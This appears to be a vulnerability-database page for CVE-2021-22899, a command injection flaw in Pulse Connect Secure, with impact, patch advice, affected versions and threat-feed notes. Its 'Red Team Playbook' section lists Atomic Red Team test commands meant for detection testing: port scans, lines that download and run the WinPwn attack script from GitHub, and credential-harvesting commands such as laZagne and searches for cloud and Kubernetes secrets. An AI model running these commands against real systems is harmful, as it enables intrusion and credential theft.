CVE-2021-22899
Overview
This vulnerability is a command injection flaw rooted in improper input validation within the Windows Resource Profiles feature of Pulse Connect Secure. Specifically, the affected component fails to sanitize user-supplied input, allowing crafted commands to be executed on the underlying operating system. The flaw exists in versions prior to 9.1R11.4 of the product, enabling injection through parameters processed by the Windows Resource Profiles functionality.
Vulnerability Description
A command injection vulnerability exists in Pulse Connect Secure before 9.1R11.4 allows a remote authenticated attacker to perform remote code execution via Windows Resource Profiles Feature
Impact
An attacker with valid credentials but limited privileges can execute arbitrary commands on the Pulse Connect Secure server, potentially gaining full control over the system. This enables unauthorized access to sensitive data, manipulation of system configurations, or deployment of persistent malware. The breach of the VPN gateway can facilitate lateral movement within the internal network, leading to broader compromise and disruption of secure remote access services.
Solution
Ivanti has released security updates addressing this vulnerability in Pulse Connect Secure version 9.1R11.4 and later. Administrators should apply these patches promptly as detailed in advisory SA44784 available at https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784. No alternative mitigations are specified, so upgrading to the fixed version is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (41)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:-:*:*:*:*:*:*
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|
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Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r1:*:*:*:*:*:*
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|
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Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r1.0:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r2:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r2.0:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r2.1:*:*:*:*:*:*
|
|
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Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3:*:*:*:*:*:*
|
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|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3.0:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3.1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3.2:*:*:*:*:*:*
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Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3.3:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3.5:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r4:*:*:*:*:*:*
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Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r4.0:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r4.1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r5.0:*:*:*:*:*:*
|
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Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r6.0:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:rx:*:*:*:*:*:*
|
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Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:-:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r1:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
4 eventsRansomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Mimikatz, PingCastle, SoftPerfect NetScan (652 known victims)
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-22899 |
| kb.pulsesecure.net |
GitHub CVE
x_refsource_MISC
|
https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/?kA23Z000000boUWSAY |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-22899 |